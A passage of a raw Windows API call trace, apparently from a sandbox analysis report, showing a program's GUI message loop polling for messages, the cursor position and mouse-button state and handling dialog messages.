returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.757] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.758] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.759] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.759] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.759] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.759] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.782] GetForegroundWindow () returned 0x501e8 [0048.782] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.782] GetCursorPos (in: lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630*(x=570, y=547)) returned 1 [0048.782] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630) returned 1 [0048.782] GetAsyncKeyState (vKey=1) returned 0 [0048.782] GetAsyncKeyState (vKey=2) returned 0 [0048.782] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.782] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.782] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.782] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.782] Sleep (dwMilliseconds=0xa) [0048.797] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.797] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.797] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.797] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.798] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.798] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.798] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.798] Sleep (dwMilliseconds=0xa) [0048.813] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.813] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.813] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.813] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.814] Sleep (dwMilliseconds=0xa) [0048.827] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.827] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.827] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0048.827] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0048.827] GetForegroundWindow () returned 0x501e8 [0048.827] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.827] GetCursorPos (in: lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630*(x=570, y=547)) returned 1 [0048.828] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630) returned 1 [0048.828] GetAsyncKeyState (vKey=1) returned 0 [0048.828] GetAsyncKeyState (vKey=2) returned 0 [0048.828] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.828] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.828] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.828] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.828] Sleep (dwMilliseconds=0xa) [0048.843] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.843] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.843] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.843] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.843] Sleep (dwMilliseconds=0xa) [0048.860] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.860] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.860] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.861] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.861] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.861] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.861] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.861] Sleep (dwMilliseconds=0xa) [0048.888] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.888] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.888] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0048.888] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0048.888] GetForegroundWindow () returned 0x501e8 [0048.888] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.888] GetCursorPos (in: lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630*(x=570, y=547)) returned 1 [0048.888] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630) returned 1 [0048.888] GetAsyncKeyState (vKey=1) returned 0 [0048.888] GetAsyncKeyState (vKey=2) returned 0 [0048.888] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.888] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.889] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.889] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.889] Sleep (dwMilliseconds=0xa) [0048.919] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.919] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.919] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.919] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.919] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.919] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.919] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.919] Sleep (dwMilliseconds=0xa) [0048.956] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.956] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.956] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0048.956] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0048.956] GetForegroundWindow () returned 0x501e8 [0048.956] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.956] GetCursorPos (in: lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630*(x=570, y=547)) returned 1 [0048.956] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630) returned 1 [0048.956] GetAsyncKeyState (vKey=1) returned 0 [0048.956] GetAsyncKeyState (vKey=2) returned 0 [0048.956] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.957] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.957] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.957] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.957] Sleep (dwMilliseconds=0xa) [0048.982] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.982] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.982] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x201, lParam=0x1ad00f9) returned 0x0 [0048.982] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.982] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x21, wParam=0x501e8, lParam=0x2010001) returned 0x1 [0048.982] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.982] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.982] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x20, wParam=0xb018c, lParam=0x2010001) returned 0x0 [0048.982] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.982] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.982] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.982] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0048.982] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.982] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.982] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.982] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.982] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.982] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.982] IsWindow (hWnd=0xb018c) returned 1 [0048.982] IsWindowEnabled (hWnd=0xb018c) returned 1 [0048.982] GetCursorPos (in: lpPoint=0x10f395f0c0 | out: lpPoint=0x10f395f0c0*(x=570, y=547)) returned 1 [0048.982] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f0c0 | out: lpPoint=0x10f395f0c0) returned 1 [0048.982] GetAsyncKeyState (vKey=1) returned 1 